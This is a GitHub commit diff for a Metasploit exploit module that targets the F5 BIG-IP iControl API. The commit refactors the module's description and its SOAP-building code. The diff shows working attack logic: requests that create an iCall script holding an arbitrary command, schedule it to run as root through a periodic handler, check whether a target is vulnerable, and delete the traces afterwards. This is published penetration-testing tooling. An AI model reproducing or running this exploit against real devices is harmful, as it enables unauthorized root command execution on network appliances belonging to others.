Skip to content

Commit 902951c

Browse files
committed
Clean up description; Simplify SOAP code more
1 parent 1aa1d7b commit 902951c

File tree

1 file changed

+26
-26
lines changed

1 file changed

+26
-26
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,22 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::FileDropper
1313

14+
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
15+
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
16+
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
17+
1418
def initialize(info = {})
1519
super(
1620
update_info(
1721
info,
1822
'Name' => "F5 iControl iCall::Script Root Command Execution",
1923
'Description' => %q{
20-
This module exploits an authenticated a privilege escalation vulnerability
21-
in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid
22-
credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0,
23-
(11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details)
24+
This module exploits an authenticated privilege escalation
25+
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
26+
other F5 devices). This requires valid credentials and the Resource
27+
Administrator role. The exploit should work on BIG-IP 11.3.0
28+
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
29+
for more details)
2430
},
2531
'License' => MSF_LICENSE,
2632
'Author' =>
@@ -112,13 +118,12 @@ def send_soap_request(pay)
112118
def create_script(cmd)
113119
scriptname = Rex::Text.rand_text_alpha_lower(5)
114120
create_xml = build_xml do |xml|
115-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
116-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
117-
xml.scripts(string_attrs) do
121+
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
122+
xml.scripts(STRING_ATTRS) do
118123
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
119124
xml.item scriptname
120125
end
121-
xml.definitions(string_attrs) do
126+
xml.definitions(STRING_ATTRS) do
122127
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
123128
xml.item cmd
124129
end
@@ -129,9 +134,8 @@ def create_script(cmd)
129134

130135
def delete_script(scriptname)
131136
delete_xml = build_xml do |xml|
132-
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
133-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
134-
xml.scripts(string_attrs) do
137+
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
138+
xml.scripts(STRING_ATTRS) do
135139
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
136140
xml.item scriptname
137141
end
@@ -142,7 +146,7 @@ def delete_script(scriptname)
142146

143147
def script_exists(scriptname)
144148
exists_xml = build_xml do |xml|
145-
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
149+
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
146150
end
147151
res = send_soap_request(exists_xml)
148152
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}")
@@ -151,18 +155,16 @@ def script_exists(scriptname)
151155
def create_handler(scriptname, interval)
152156
handler_name = Rex::Text.rand_text_alpha_lower(5)
153157
handler_xml = build_xml do |xml|
154-
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
155-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
156-
xml.handlers(string_attrs) do
158+
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
159+
xml.handlers(STRING_ATTRS) do
157160
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
158161
xml.item handler_name
159162
end
160-
xml.scripts(string_attrs) do
163+
xml.scripts(STRING_ATTRS) do
161164
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
162165
xml.item scriptname
163166
end
164-
long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
165-
xml.intervals(long_attrs) do
167+
xml.intervals(LONG_ATTRS) do
166168
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
167169
xml.item interval
168170
end
@@ -173,9 +175,8 @@ def create_handler(scriptname, interval)
173175

174176
def delete_handler(handler_name)
175177
delete_xml = build_xml do |xml|
176-
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
177-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
178-
xml.handlers(attrs) do
178+
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
179+
xml.handlers(STRING_ATTRS) do
179180
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
180181
xml.item handler_name
181182
end
@@ -187,7 +188,7 @@ def delete_handler(handler_name)
187188

188189
def handler_exists(handler_name)
189190
handler_xml = build_xml do |xml|
190-
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
191+
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
191192
end
192193
res = send_soap_request(handler_xml)
193194
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
@@ -200,13 +201,12 @@ def check
200201
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
201202
# any other response is considered not vulnerable
202203
check_xml = build_xml do |xml|
203-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
204-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
205-
xml.scripts(attrs) do
204+
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
205+
xml.scripts(STRING_ATTRS) do
206206
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
207207
xml.item
208208
end
209-
xml.definitions(attrs) do
209+
xml.definitions(STRING_ATTRS) do
210210
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
211211
xml.item
212212
end

0 commit comments

Comments
 (0)